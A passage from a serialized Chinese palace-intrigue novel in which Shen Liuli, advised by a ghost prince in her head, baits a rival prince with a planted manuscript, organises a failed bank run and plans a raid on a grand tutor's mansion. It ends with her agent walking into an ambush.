整个都城,都因为这场,突如其来的粮荒,而陷入了混乱!
“好一招‘釜底抽薪’。”君北玄在她脑中,冷冷地说道,“你这是在,用整个都城百姓的生计,来当你的赌注啊。”
“王爷,有时候,不破不立。”沈琉璃在心里,平静地回应,“我若不将这潭水搅浑,又如何能让那些,藏在水底的鱼儿,自己跳出来呢?”
……
窗外的落雪,不知何时停了。
清晨的第一缕阳光穿透云层,为这座刚刚经历了一场无声风暴的乾国都城,镀上了一层浅淡的金色。
持续了近半个月的粮荒,终于在二皇子李昭倾尽府库、低价抛售官粮的雷霆手段下,暂时画上了一个句号。
都城内外,原本已经飞涨到天价的米价,一夜之间回落到了正常水平,无数在饥饿边缘挣扎的百姓,终于得以喘息。
街头巷尾,茶馆酒肆,到处都在议论着这场突如其来的“恩典”。
“听说了吗?是二殿下!二殿下心怀仁德,不忍见百姓受苦,这才自掏腰包为我们平抑了粮价!”
“可不是嘛!我还听说,二殿下为了此事,几日未曾合眼,人都清瘦了一圈呢!”
然而,在这片对二皇子的赞誉声中,另一个名字,却以一种更温和,也更得人心的方式,在最底层的百姓口中悄然流传。
“要我说,真正该感谢的,还是尚书府那位沈大小姐。”城南的一处粥棚前,一个衣衫褴褛的老妪,将一碗热气腾腾的米粥喝得干干净净,脸上露出了劫后余生的庆幸,“若不是她那揽月楼,在粮价最高的时候,每日开仓放粮,老身这条命,怕是早就交代在哪个墙角了。”
“谁说不是呢!人家可是未来的大徽太子妃,金枝玉叶的,竟还惦记着我们这些泥腿子,真是活菩薩下凡啊!”
“都说尚书府出了位‘活菩萨’,我看是一点不假!”
一时间,“活菩萨”这三个字,如同春风化雨,传遍了都城的每一个角落。
与二皇子那带着皇权意志的“恩典”相比,沈琉璃这份不求回报的“善举”,无疑更能温暖人心。
……
揽月楼,顶层,望月台。
春桃正手舞足蹈地,将她从外面听来的这些消息,添油加醋地向自家小姐汇报着。
“小姐!您是没看见!现在外面的人,都快把您给夸上天了!还有人说,要为您在城隍庙里立长生牌位呢!那个二殿下,虽然也出了力,可百姓们心里都跟明镜似的,知道谁才是真心为他们好!”
她一边说,一边将一碟新做的桂花糕,往嘴里塞,含糊不清地补充道:“依奴婢看,这‘活菩萨’的名号,可比什么未来太子妃的头衔,要威风多了!”
沈琉璃听着她这番话,脸上却没有半分喜悦,只是浅浅一笑,将目光投向了窗外的街道。
她知道,自己虽然赢得了民心,却也同样,将自己推到了二皇子李昭的对立面。
这位平日里与世无争的二殿下,在此次粮草之战中,不仅损失了大量的金钱,更是在与她的民心争夺战中,输得一败涂地。以他那睚眦必报的性格,绝不会就此善罢甘休。
“哼,一群目光短浅的愚民。”
君北玄的声音,在她脑海中响起。
“民心是最廉价,也最不可靠的东西。今日他们能为你立长生牌位,明日他们也能为了半袋米,将你生吞活剥。你用真金白银,换来这么个虚名,简直是蠢得可笑。”
“王爷,您说的不错。”沈琉璃在心里,不紧不慢地回应,“可您是不是忘了,水能载舟,亦能覆舟。我这艘小船,既然已经驶入了这片波涛汹涌的大海,自然要多寻几块能载着我前行的浮木。”
“歪理邪说!”君北玄冷哼一声,“那你倒是说说,你现在民心在手,下一步又待如何?难不成,你还真指望这群泥腿子,能帮你去对付二皇子不成?”
“自然不是。”沈琉璃摇了摇头,“我只是想让他知道,这乾国的天,并非只有他李家的人,才能说了算。”
就在这一人一鬼,在脑海里进行着日常互怼的时候,一阵喧哗声,忽然从楼下传来。
“让开!都给老子滚开!”
正是那头疯狼,萧彻!
揽月楼的护卫们,虽然个个都是张启年亲自挑选的精锐,可在这个煞神面前,竟无一人敢上前阻拦!
“小姐!”春桃吓得,连忙躲到了沈琉璃的身后,声音都在发颤,“他怎么又来了?!”
萧彻没有理会那些,早已吓得面无人色的护卫。他的目光,只是死死地锁定在了三楼的楼梯口。
“沈琉璃!”他沙哑地开口,“有要事相商,下来!”
“放肆!”一声暴喝,从二楼的拐角处传来!张启年手持长刀,快步上前,将萧彻拦了下来。
“萧将军,”他沉声说道,“这里是揽月楼,不是军营!还请将军对我们主公放尊重些!”
“主公?”萧彻笑了,那笑容比哭还难看,“一个手下败将,倒还真给自己找了个好主子。”
他说着,竟将手中的断头刀缓缓举起,整个揽月楼大堂,瞬间陷入了一片剑拔弩张的气氛!
“张将军,退下吧。”就在此时,一个清冷的声音,从三楼的楼梯口,缓缓地传了下来。
沈琉璃身着一身素衣,脸上未施粉黛,缓缓地走了下来。
“萧将军既然有要事,不如上楼一叙。”她对着萧彻,做了一个“请”的手势,“楼下人多眼杂,不是谈话的地方。”
萧彻看着她,最终还是将断头刀收回了鞘中,跟着她走上了三楼。
望月台内,气氛压抑得可怕。
春桃躲在角落里,大气都不敢出。
张启年则如同门神一般,守在了雅间的门外。
“说吧,”沈琉璃亲自为他斟上一杯热茶,“什么事,值得将军您如此兴师动众?”
“我查到了‘凤凰胆’的下落。”萧彻开门见山,他的声音里带着几分急切。
这个消息,让沈琉璃的心猛地一跳!
“在哪里?”
“前朝三公,太傅周老大人府上。”萧彻的回答,让刚刚才燃起的希望,瞬间又被浇灭了大半。
“那个老家伙,油盐不进,软硬不吃。”萧彻的语气里充满了烦躁,“我派人试探了几次,连他府邸的墙角都没摸到。那地方守卫森严,堪比皇宫,强闯无异于送死。”
“所以,将军是来找我商议对策的?”沈琉璃看着他,若有所思。
“没错。”萧彻点了点头,他看着沈琉璃,说道,“你这个女人,虽然疯,但脑子比我好使。你说,我们该怎么办?”
他竟是在,向她求助?
“有意思。”君北玄的声音,在她脑海中响起,“这头疯狼,终于是知道自己有几斤几两了。不过,他说的没错,那个周老夫子确实是个硬骨头。”
“王爷,”沈琉璃在心里,平静地回应,“再硬的骨头,也总有它的软肋。”
她没有立刻回答萧彻,而是将目光,投向了窗外。
“将军可知,这位周太傅,除了刚正不阿,还有什么别的爱好吗?”
“爱好?”萧彻一愣,“一个快入土的老头子,能有什么爱好?无非就是些,舞文弄墨的酸腐玩意儿罢了。”
“那将军您可就错了。”沈琉璃摇了摇头,“我听说,这位周太傅,平生最大的爱好,便是搜罗天下孤本。尤其是,对前朝大文豪苏老先生的亲笔手稿,更是到了痴迷的地步。”
“你想做什么?”萧彻的眉头,紧紧地锁了起来。
“没什么。”沈琉璃缓缓地站起身,继续说道,“我只是想,为这位老大人,送上一份礼物罢了。”
第116章 绝世孤本
“礼物?”萧彻看着沈琉璃,眼中充满了怀疑,“你该不会是想,用几本破书,就去收买一个老顽固吧?沈琉璃,我提醒你,我没有时间跟你玩这些过家家的把戏。”
“将军放心,”沈琉璃笑了笑,“我送的这份礼物,保证让他无法拒绝。”
“哼,妇人之见。”君北玄在她脑海中,冷冷地说道,“对付这种老狐狸,最直接有效的方式,便是找到他的痛处,用雷霆手段将其击溃。你倒好,竟想着用‘投其所好’这种小孩子的把戏,简直是妇人之仁!”
“王爷,您那是对付敌人。”沈琉璃在心里,耐心地解释道,“可这位周太傅,现在还不是我们的敌人,他只是一个需要我们跨过去的‘门槛’。对付门槛,用的是钥匙,不是战斧。”
她没有再理会脑中那个暴躁的鬼王爷,而是将目光,重新投向了萧彻。
“将军,”她缓缓说道,“此事,还需要您帮个忙。”
“说。”
“我需要您,动用您在大徽王朝的关系,为我寻一样东西。”沈琉璃说道,“一份,关于前朝大文豪苏老先生的生平轶事,越详细越好,尤其是他晚年,在何处隐居,又留下了哪些不为人知的墨宝。”
“你要做什么?”萧彻的语气里,带上了几分警惕。
“自然是,为这位老大人,量身打造一份,足以让他心动不已的‘诱饵’。”
……
接下来的两日,沈琉璃没有再理会任何俗务,只是将自己关在了书房里,日夜不休。
她将揽月楼所有能找到的,关于前朝的孤本、野史,都给翻了个底朝天。
春桃每日里看着自家小姐,对着一堆发了霉的破书,时而皱眉,时而又像是想到了什么,脸上露出一个极其古怪的笑容,只觉得自家小姐的病疯了。
而萧彻,虽然心中充满了疑虑,但还是动用了他的情报线。
三日后,一份由大徽王朝,加急送来的密信,悄无声息地出现在了沈琉璃的案头。
信中,详细地记载了那位苏老先生,晚年因得罪了权贵,被迫远遁南洋,最终客死他乡的悲惨经历。
以及,他最珍爱的一部手稿,《道德经》的第八十二章注解,也同样在那场动乱中,不知所踪。
“找到了。”沈琉璃看着那封密信,眼中闪过了一抹精光。
她知道,自己要找的“钥匙”,已经找到了。
……
五天后,都城最大的书斋,“翰墨轩”内。
一个身着青布长衫,看起来穷困潦倒的年轻书生,正拿着一本,看起来早已残破不堪的古籍,与书斋的掌柜,争执不休。
“掌柜的,”那书生一脸“悲愤”地说道,“这可是我祖上传下来的宝贝!乃是前朝大文豪,苏老先生的亲笔手稿!您怎么能,只给我十两银子?!”
“客官,您就别为难小的了。”那掌柜的也是一脸无奈,“您这本书,虽然看起来有些年头了,可上面的字,小的我一个也不认得啊!这要是假的,我这一年的工钱,可就全赔进去了!”
就在两人,争执不下的时候。一个温润的声音,忽然从他们身后,不紧不慢地响了起来。
“不知,可否让在下,也瞧上一瞧?”
两人回头,只见一个身着锦袍,气质儒雅的青年,正微笑着看着他们。
正是二皇子,李昭!
他今日,也是闲来无事,来这翰墨轩,寻几本孤本。却不想,竟会遇到如此有趣的一幕。
那书生在看到二皇子时,先是一愣,随即像是看到了救星一般,连滚带爬地扑了过去!
“这位爷!您可要为小的做主啊!”
李昭笑了笑,他从那书生的手中,接过那本古籍,仔细地端详了起来。
他本也以为,这不过是一场,寻常的市井闹剧。
可当他的目光,落在那书页上,那几个早已泛黄的字迹上时。
他的瞳孔,骤然收缩!
“这……这是……”他看着那书生,声音里带上了几分,连他自己都未曾察觉的颤抖。
“《道德经》第八十二章……”他喃喃自语,声音里带着不敢置信,“想不到,本王今日竟能有此等机缘,得见这失传了百年的绝世孤本!”
他这番话说得情真意切,那早已被沈琉璃收买的书生,此刻更是将一个穷困潦倒却又怀才不遇的读书人形象,演得淋漓尽致。
他“噗通”一声跪倒在地,对着李昭便重重地磕了一个头,声泪俱下地哭诉道:“殿下!殿下您真是慧眼识珠啊!小人这本祖传的宝贝,在这翰墨轩里竟只值十两银子!您可要为小人做主啊!”
“起来吧。”李昭的脸上,露出了一个和善的笑容,他亲自将那书生扶起,“此等神物,岂能用金钱来衡量?你既是此书的主人,那便由你来开个价吧。”
“小人不敢!小人不敢!”那书生连连摆手,脸上露出了一个受宠若惊的表情,“能得殿下赏识,已是小人三生有幸!小人愿将此书,赠予殿下!只求殿下能为小人,在翰林院谋个一官半职,便已是心满意足了!”
“胡闹!”李昭的脸色,却猛地一沉,“本王买书,是为雅趣,不是为你买官!你这番话,是在羞辱本王,还是在羞辱我乾国的科举制度?!”
他这番话说得义正言辞,将在场所有人都给镇住了。
那书生被他吓得,当场便瘫倒在地,抖如筛糠。
“罢了。”最终,李昭叹了口气,从怀中取出了一沓厚厚的银票,递给了身旁的翰墨轩掌柜。
“这里是一千两。”他淡淡地说道,“一半是买这本书的钱,另一半便赏给你了。”
他说完,便不再看任何人,只是将那本《道德经》,小心翼翼地收入怀中,转身,快步离去。
那副模样,像一个得到了心爱玩具的孩子,迫不及待地要回家把玩。
……
当这场发生在翰墨轩的“奇遇”,一字不落地传回揽月楼时,春桃激动得差点当场跳起来。
“小姐!您真是太神了!”她手舞足蹈地说道,“您是怎么算到,二殿下他今日一定会去翰墨轩的呀?还有那个书生,演得可真像!奴婢听说,他拿着您给的那五百两赏钱,当场就把翰墨轩里最贵的文房四宝,都给买了下来呢!现在,整个都城的读书人,都在传颂着二殿下的仁德之名呢!”
沈琉璃听着她这番话,脸上却没有半分喜悦。
“哼,妇人之见。”君北玄的声音,在她脑海中响起,“你以为,这就完了?沈琉璃,本王告诉你,真正的交锋,现在才刚刚开始。”
“王爷,”沈琉璃在心里,平静地回应,“我知道。”
“《道德经》只是鱼饵,我真正要钓的,是那条藏在蛇穴里的老狐狸。”她缓缓说道,“周太傅此人,虽然早已告老还乡,可他在朝中经营了数十年的人脉与财富,却并未因此而消散。据十三爷的情报,都城内外,至少有七家地下钱庄,都与他有着千丝万缕的联系。这些钱庄,便是他真正的命脉,也是安王在背后,为自己准备的‘粮仓’!”
“我要做的,便是用这本《道德经》,去敲开周太傅那扇,早已紧闭了三年的大门。然后,再用一场,足以让整个都城都为之震动的金融风暴,将他这条老狐狸,从他的蛇穴里,给硬生生地逼出来!”
君北玄没有说话,他不得不承认,这个女人的计谋,一环扣一环,确实有几分可取之处。
可他心中,却总有一股挥之不去的不祥预感。
……
接下来的两日,整个都城,都因为那本失传已久的《道德经》而陷入了疯狂。无数的文人雅士,都聚集在二皇子府的门外,希望能一睹这本神作的真容。
而二皇子李昭,则更是将“礼贤下士”的戏码,演得淋漓尽致。
他不仅在府中设下文会,与众人一同品鉴。更是亲自备上厚礼,三次登门,拜访那位早已不问世事的前朝三公,周太傅。
前两次,他都被周府的管家,以“老爷身体不适,不便见客”为由,给客客气气地挡了回来。
可他却并未因此而气馁,反而愈发恭敬。
第三日,他甚至亲自捧着那本《道德经》,在周府门外那冰冷的雪地里,足足等了两个时辰。
这份“诚意”,终于打动了那位,性情古怪的老大人。
周府那扇紧闭了三年的朱红色大门,终于为他缓缓地打开了。
当这个消息,传到揽月楼时,所有人都松了一口气。
“小姐!您真是神机妙算!”春桃激动地说道,“那老顽固,终于是上钩了!”
“哼,不过是些,上不得台面的小把戏罢了。”一直守在雅间内的萧彻,不屑地冷哼一声,“磨磨唧唧,浪费时间。依我看,就该直接派人,将那老家伙给绑了!严刑拷打,不怕他不交出解药!”
“萧将军,”沈琉璃看着他,缓缓说道,“有时候,最锋利的刀,并非是用来杀人的。”
“而是要,用在最关键的时候,斩断敌人最致命的软肋。”
她没有再理会这头疯狼,而是将目光,投向了忠叔。
“忠叔,”她的声音,变得无比冰冷,“可以开始了。”
“是!”
第117章 蛇穴里的老狐狸
一场无声的风暴,在都城最繁华的商界,悄然上演。
数十名由揽月楼精心挑选的掌柜,在同一时刻,涌入了都城内外,那七家由周太傅暗中掌控的地下钱庄!
他们不存钱,也不借钱。
他们只做一件事,取钱!
数以百万计的白银,如同潮水一般,从这些钱庄的库房中,疯狂地涌出!
一时间,整个都城的地下金融,都因为这场突如其来的挤兑,而陷入了前所未有的恐慌!
无数的储户,在听到风声后,也纷纷涌向钱庄,想要将自己的身家性命,给取出来!
然而,就在这场风暴,即将达到顶点的时刻。
一个谁也想不到的变数,出现了。
只见数千名身着重甲的禁军,竟不知何时,已悄然抵达!
他们以“维护都城金融秩序,严查偷税漏税”为名,将那七家早已是人满为患的钱庄,给围得水泄不通!
为首的,正是二皇子,李昭!
他身着一身银甲,骑在马上,脸上挂着温和的笑容。
“诸位,稍安勿躁。”他对着这些,早已陷入了恐慌的储户,朗声说道,“孤奉父皇之命,前来彻查此案!孤在此向各位保证,你们存在钱庄里的每一分钱,都绝不会有半分损失!”
“至于那些,想趁着国难,在此处兴风作浪,扰乱我乾国金融命脉的奸商……”
他的目光,如同刀子一般,穿过人群,精准地落在了,由揽月楼派出的掌柜身上!
“孤也同样保证,”他的声音,变得无比幽冷,“定叫他们,有来无回!”
沈琉璃怎么也没想到,自己布下的天罗地网,竟会以这种方式,被对方给硬生生地撕开了一个口子!
她不仅没能将那条老狐狸,给逼出来。
反而还被对方,反将一军!将自己,钉在了一个“扰乱金融,意图不轨”的耻辱柱上!
而比她更震惊的,是她脑海中的君北玄!
“他娘的!”他忍不住,当场便骂了出来!“这个李昭,他竟敢用皇帝的名义,来为你设局?!”
“他这是在,借刀杀人!”
……
沈琉璃看着铜镜中自己那张毫无血色的脸,她本以为,自己早已将所有的变数都算计在内。却唯独没有算到,二皇子李昭竟能在如此短的时间内,请来一道将她所有布局碾得粉碎的圣旨!
这不是商战,这是降维打击。
“小姐!不好了!”
就在此时,雅间的门被猛地推开,忠叔面色凝重地疾步而入,他的身后,还跟着几个吓得六神无主的掌柜。
“小姐!”忠叔的声音里,带着前所未有的焦急,“我们派出去的人,都被禁军给扣下了!二殿下他,还当着所有人的面,将我们揽月楼,定性为‘扰乱都城金融,意图不轨’的奸商!现在,外面都传疯了!说您……”
他说到此处,再也说不下去,只是将头重重地低了下去。
“说我什么?”沈琉璃的声音,平静得可怕。
“说您……说您是‘红颜祸水’,为了与二殿下争风头,竟不惜,拿整个都城百姓的生计来当赌注。”
“呵呵……”
沈琉璃笑了,那笑容比哭还难看。
好一个“红颜祸水”。
好一个二皇子李昭。
他这是要将她,将整个揽月楼,都钉在耻辱柱上,永不翻身!
“都慌什么?!”
就在这片愁云惨雾中,一个充满了暴戾气息的声音,忽然从门外响起。
只见萧彻,不知何时竟已出现在了门口。他扛着那柄断头刀,脸上带着讥讽的笑容,一步一步地走了进来。
他走到沈琉璃的面前,居高临下地看着她,啧啧称奇。
“沈大小姐,”他缓缓开口,“我倒是没想到,你竟还有几分‘烽火戏诸侯’的本事。为了一个不知真假的‘凤凰胆’,竟能将这乾国的都城,都给搅得天翻地覆。”
“你……”春桃看着他这副幸灾乐祸的模样,气得浑身发抖。
“萧将军,”沈琉璃却没有动怒,她只是缓缓地抬起头,看着他,“你今日前来,不会就是为了,看我的笑话吧?”
“自然不是。”萧彻摇了摇头,“我只是来提醒你,你那套女人的小把戏,对付真正的男人,是没用的。”
“你以为,凭着几本破书,几家钱庄,就能将周太傅那种,在朝堂上浸淫了一辈子的老狐狸给逼出来?”他嗤笑一声,“天真!”
“那你倒是说说,该当如何?”沈琉璃反问道。
“很简单。”萧彻将那柄断头刀,“砰”的一声,插在了身旁的紫檀木地板上!
“直接杀进去!”他的眼中,燃烧着熊熊的烈火,“管他什么太傅府,还是皇宫!只要挡了老子的路,便一并都给屠了!”
他这番话,说得简单粗暴,却也同样,让在场所有人的心都沉入了谷底。
因为他们知道,这个疯子说得出,也绝对做得出。
……
当晚,晚晴居内,一片死寂。
沈琉璃屏退了所有下人,独自一人坐在窗前,静静地发着呆。
白日里的那场惨败,如同梦魇一般,在她的脑海中,反复地上演着。
这是她自重生以来,第一次输得如此彻底。
那种无力感,几乎要将她整个人都给吞噬。
“现在知道怕了?”
君北玄的声音,在她脑海中响起,没有半分嘲讽,只有一种,属于过来人的平静。
“王爷,”沈琉琉在心里,苦笑一声,“您是不是也觉得,我很没用?”
“何止是没用?”君北玄毫不客气地说道,“简直是愚蠢!”
“你以为,你面对的是什么?是几个,只知道争风吃醋的后宅妇人吗?是几个,唯利是图的商贾巨富吗?”
“不。”他的声音,变得无比凝重,“你面对的,是皇权!是这片土地上,最不讲道理,也最强大的力量!”
“你用商人的方式,去打一场,本该由军人来打的战争。你以为,你是在运筹帷幄,决胜千里?错了!在他们眼中,你不过是一个,在棋盘上,自娱自乐的小丑罢了!”
君北玄的这番话,字字如刀!
将沈琉璃心中那份骄傲,给批驳得体无完肤!
她一直以为,自己早已脱胎换骨,早已能将人心,玩弄于股掌之间。
可直到今天,她才终于明白了。
在绝对的权力面前,她所有的计谋,都显得是那么地苍白无力。
“那……那我们现在该怎么办?”
君北玄没有立刻回答。
许久,他才缓缓开口,声音里没有了往日的暴躁与讥讽,反而带上了一种,属于统帅的冷静与决断。
“怎么办?”他反问道,“你是准备,就这么坐在这里,哭哭啼啼地等着他们,将你这只小狐狸的皮给彻底剥下来?”
“还是说,”他的声音,陡然拔高,“准备让本王告诉你,一场真正的战争,到底该怎么打?”
沈琉璃的身体,猛地一震!
她缓缓地抬起头,喃喃自语:“王爷……”
“闭嘴!”君北玄打断了她,“现在,你不是什么‘活菩萨’,也不是什么‘沈大小姐’。你是我君北玄的兵!而一个兵,在战场上需要做的只有一件事!”
“那便是,服从命令!”
“传我的令!”他的声音,掷地有声,“立刻召集所有能用的人手,到揽月楼的密室集合!今夜,本王要亲自为他们上一堂课!”
……
子时,夜最深沉的时候。
揽月楼顶层的望月台内,气氛压抑得可怕。
沈琉璃端坐于主位上,她的身后,站着早已吓得不敢说话的春桃。
而在她的下首,则是神情凝重的张启年、一脸不耐的萧彻,以及刚刚才从温柔乡里“请”回来的顾九。
“他娘的……”顾九顶着两个巨大的黑眼圈,脸上露出了一个极其悲愤的表情,“我说主公大人啊,您这又是唱的哪一出啊?这三更半夜的,把我们都给叫过来,是要商议着,连夜跑路吗?”
“闭嘴!”
一声充满了决断力的暴喝,忽然从沈琉璃的口中发出。
她缓缓地,扫过在场每一个人的脸。
“从现在起,”她的声音不大,却字字清晰,“这里的一切,都由我说了算。”
“谁若是有异议,现在就可以离开。”
第118章 蛇穴里的陷阱
沈琉璃的这番话,让在场所有人都愣住了。
他们从未见过,自家这位平日里温和可亲的主公,竟会露出如此,充满了压迫感的一面。
“很好。”沈琉璃点了点头,她不再看任何人,而是将目光,投向了都城的舆图。
“诸位,”她的声音,变得无比冰冷,“游戏,现在才刚刚开始。”
“我们的目标,只有一个。”
“太傅,周府!”
她将君北玄,在脑海中为她推演了数个时辰的作战计划,一五一十地和盘托出!
“第一步,‘侦察’。”
她的目光,第一个投向了陆风。
“陆风,今夜三更,我需要你,带着几名狼卫,潜入周府。你们的任务,不是去**,也不是去偷东西。”
“我只要你们,将周府内所有的明哨、暗哨、机关、陷阱,都给我摸得一清二楚!”
“是!”陆风没有半分犹豫,重重地点了点头。
“第二步,”她的目光,又转向了那个,还在唉声叹气的酒鬼,“‘破袭’。”
“顾先生,”她看着他,说道,“我需要你,在明日天亮之前,为我们准备出,至少一百枚,能让整个周府,都陷入混乱的‘惊雷’!”
“什么?!”顾九指了指自己的鼻子,“主公,您没开玩笑吧?小爷我只是个大夫,不是军工厂的工匠!您让我一晚上,给您造出一百枚**来?!”
“我自然知道,你造不出**。”沈琉璃继续说道,“所以,我需要你,用你那些,神神鬼怪的药材,为我调配出,一百枚能让整个周府,都‘鸡犬不宁’的**!”
“我要那烟雾,不仅要浓,还要臭!要臭到,连隔壁家的狗闻了,都能当场晕厥过去的那种!”
“这个……”顾九的脸上,露出了一个为难的表情,“倒也不是不行。只是,我这手头上的材料……”
“揽月楼的药库,从现在起,都归你调配。”沈琉璃打断了他,“我只要结果。”
“得嘞!”顾九的脸上,瞬间露出了一个极其猥琐的笑容,“主公您就瞧好吧!小爷我保证,明日一早,让那位周太傅的院子臭不可闻!”
“至于这第三步嘛……”
沈琉璃的目光,最后落在了那个,早已跃跃欲试的“疯狼”身上。
“那便是,‘强攻’!”
“萧将军,”她看着他,说道,“明日午时三刻,我需要你,亲率五十名好手,从正面,攻入周府!”
“你的任务,不是去**,也不是去抢东西。”
“我只要你,将周府内所有的护卫,都给我吸引到前院!”
“我要你,将那里的动静,闹得越大越好!要大到,连皇宫里的那位,都能听得清清楚楚!”
“哈哈哈哈!”萧彻闻言,猛地仰起头,发出了一阵畅快淋漓的大笑,“这个活,老子喜欢!”
“只是,”他话锋一转,看着沈琉璃,那双血红的眼睛里,闪过了一抹属于狼的狡诈,“我凭什么听你的?你虽然有点小聪明,可在我眼里,终究不过是个黄毛丫头。让我给你当枪使,你还不够格。”
“除非,”他顿了顿,继续说道,“你将此次行动的所有指挥权,都交给我!包括张将军手下的那些人,都必须听我号令!”
这,才是他真正的目的!
他不是在质疑计划,他是在**!
“放肆!”张启年第一个站了出来,怒喝道,“萧彻!你别忘了自己的身份!你不过是……”
“好了,张将军。”沈琉璃却摆了摆手,制止了他。
她看着萧彻,脸上没有半分怒意。
“可以。”她缓缓地吐出了这两个字。
这个回答,不仅让萧彻愣住了,就连她脑海中的君北玄,都忍不住低喝一声:“你疯了?!”
“我没疯。”沈琉璃在心里,平静地回应。
她看着萧彻,继续说道:“指挥权我可以给你,但我有三个条件。”
“第一,此次行动,只为夺药,不为**。你可以伤人,但绝不能取任何一名护卫的性命。否则,军法处置。”
“第二,你的所有行动,都必须在我的监视之下。我会与张将军,在周府对面的‘听雨轩’茶楼,看着你的一举一动。”
“至于这第三嘛……”她的嘴角,勾起一抹笑容,“行动结束之后,无论成败,你都需要替我办一件事。”
“什么事?”
“替我去查一查,我那位好表哥,三皇子李琰的底细。”
萧彻的瞳孔,骤然收缩!
许久,他才从牙缝里,挤出了一个字。
“……好。”
这位来自大徽王朝的“疯狼”,在经历了最初的错愕后,竟是发出了低沉的笑声。
“有意思,真是有意思。”他将那柄插在地板上的断头刀缓缓拔起,“沈大小姐,你比我想象中,还要有趣得多。”
他没有再讨价还价,而是对着沈琉璃一抱拳。
“好,我答应你。”他说完,便不再有半分停留,转身大步流星地走出了望月台。
那副模样,仿佛是怕自己再多待一刻,便会被眼前这个女人,给算计得连骨头都不剩。
看着他离去的背影,春桃才终于敢大口地喘气。
“小姐,”她看着地板上那道深可见骨的刀痕,心有余悸地说道,“您真的要把指挥权交给他啊?我怎么觉得,他比那个周太傅还吓人呢?”
“春桃,你记住,”沈琉璃走到窗边,说道,“有时候,要对付一头疯了的狼,最好的办法,不是去跟它讲道理。”
“而是要,给它一根更粗的骨头,让它去咬更疯的狗。”
……
夜,三更。
都城西郊,太傅府。
这座占地百亩,平日里戒备森严的府邸,此刻正笼罩在一片死寂之中。只有府门外的两盏石灯笼,在黑暗中散发着幽冷的光。
而在距离太傅府不足三百米的一座茶楼顶层,沈琉璃和张启年,正临窗而坐。
他们的面前,摆着一副早已下到了中盘的棋局。可两人的心思,却显然都不在这盘棋上。
“主公,萧彻此人,桀骜不驯,野性难平。”张启年的声音,带着几分凝重,“您将指挥权交给他,无异于与虎谋皮,风险太大了。”
“我知道。”沈琉璃捻起一枚黑子,轻轻地落在棋盘上,“可张将军,您是不是忘了,我们现在要闯的,是蛇穴。对付一条藏在暗处的毒蛇,有时候,一头不讲道理的猛虎,远比一百个小心翼翼的猎人,要管用得多。”
就在此时,一道黑影,悄无声息地出现在了雅间的阴影里。
正是负责侦察的陆风。
他对着沈琉璃,单膝跪地,声音沉稳如山。
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“主公,都已查明。”他将一张刚刚绘制好的舆图,呈了上来,“周府内,明哨三十二人,暗哨七十二人,皆是训练有素的退役老兵。府内机关重重,尤其是后院那座藏书阁,更是三步一哨,五步一岗,防卫森严,堪比皇宫。”
“看来,我们这位周太傅,藏了不少好东西啊。”沈琉璃轻声说道。
“哼,一群乌合之众罢了。”在她的脑海中,君北玄的声音,充满了不屑,“若是本王亲率狼卫,只需一瞬,便能将这座破院子,给夷为平地!”
“王爷,您说的轻巧。”沈琉璃在心里,有气无力地回敬了一句,“您现在连半个纸人都变不出来。”
说完,她将目光,投向了窗外那片,早已被黑暗笼罩的太傅府。
“时辰,快到了。”
……
午时三刻,太傅府门前的那条街道,忽然变得喧嚣了起来!
只见数十名身着锦衣,看起来流里流气的壮汉,竟不知从何处冒了出来!他们个个手持棍棒,腰佩弯刀,将太傅府的大门,给围得水泄不通!
为首的,正是顾九!
此刻的他,哪还有半分“神医”的模样?
他一脚踩在府门前的石狮子上,手里提着一个半旧的酒葫芦,指着那扇朱红色的大门,破口大骂!
“姓周的!你给小爷我滚出来!”他的声音,如同惊雷,响彻了整条街道,“欠债还钱,天经地义!你当真以为,躲在这龟壳里,小爷我就奈何不了你了吗?!”
他这番操作,不仅让过往的行人看傻了眼,更是让闻讯赶来的京兆府衙役,也愣在了当场。
这……这是什么路数?
当街叫骂当朝太傅?
这个疯子,是活得不耐烦了吗?!
“大胆狂徒!竟敢在太傅府门前撒野?!来人!给我拿下!”
府门大开,数十名手持棍棒的家丁,如狼似虎地冲了出来!
“来得好!”
顾九不惊反喜,他将手中的酒葫芦往腰间一挂,竟是主动地迎了上去!
他虽然是个医者,可常年在军中厮混,那身手也同样不是吃素的!
只见他身形飘忽,如同鬼魅,在人群中穿梭,手中的折扇开合之间,便有数名家丁,悄无声息地倒下!
而就在前院,乱作一团的时候。
另一场,更加凶险的博弈,也正在周府的后院,悄然上演。
萧彻,早已带着他的人,如同幽灵一般,出现在了那座,戒备森严的藏书阁外!
“将军,”他身后的护卫,看着眼前这座,三步一哨,五步一岗的“堡垒”,忍不住低声问道,“我们真的要闯这里?”
“废话!”萧彻的眼中,燃烧着熊熊的烈火,“老子今天,就是要看看,这老家伙的龟壳,到底有多硬!”
他说完,不再有任何犹豫,对着身后轻轻地一挥手!
“动手!”
随着他一声令下,数十道黑影,从四面八方,朝着那座藏书阁,猛地冲了过去!
一场厮杀,在寂静的夜里,正式拉开了帷幕!
与此同时,藏书阁的另一侧,一道黑色的身影,如同壁虎一般,紧贴着墙壁,悄无声息地绕到了阁楼的背面。
正是陆风。
他没有参与正面的强攻,他的目标只有一个。
那间,藏着“凤凰胆”的秘密宝库!
第119章 北境的风声
陆风按照之前侦察好的路线,悄无声息地避开了所有的明哨暗哨,最终,在一处假山后面,找到了通往地下的入口。
入口处,是一扇由玄铁打造的石门。
门上,布满了极其复杂的机括。
可这些,对于早已将君北玄的机关术,学了个七七八八的陆风而言,不过是些,上不得台面的小把戏。
他从怀中,取出两根细如牛毛的铁丝,探入了锁孔中。
不过短短数息,那扇沉重的石门,便“咔嚓”一声,悄无声息地打开了一道缝隙!
陆风的身影,如同游鱼入水,瞬间便潜入了宝库之内!
宝库内,没有他想象中的金碧辉煌,只有一排排直抵屋顶的书架。
空气中,弥漫着一股,混杂着书香与药香的古怪气味。
而在宝库的正中央,则静静地摆放着一个,由整块暖玉雕琢而成的玉盒。
找到了!
陆风的心,猛地一跳!
他快步上前,小心翼翼地将那个玉盒,捧在了手心。
然而,就在他的指尖,即将触碰到盒盖的瞬间!
一股冰冷的寒意,忽然从他的脚底,瞬间窜上了天灵盖!
他猛地抬起头,只见在宝库四周的阴影里,不知何时,竟已悄无声息地站着数十道黑色的身影!
他们个个身着夜行衣,脸上戴着狰狞的恶鬼面具!
而在他们的手中,都端着早已上弦的****!
那黑洞洞的**口,正齐刷刷地对准了他!
陷阱!
这是一个,早已为他准备好的陷阱!
与此同时,另一场,更加惨烈的厮杀,也正在周府的前院上演着。
萧彻本以为,自己面对的,不过是些寻常的家丁护院。
可他很快便发现,自己错了。
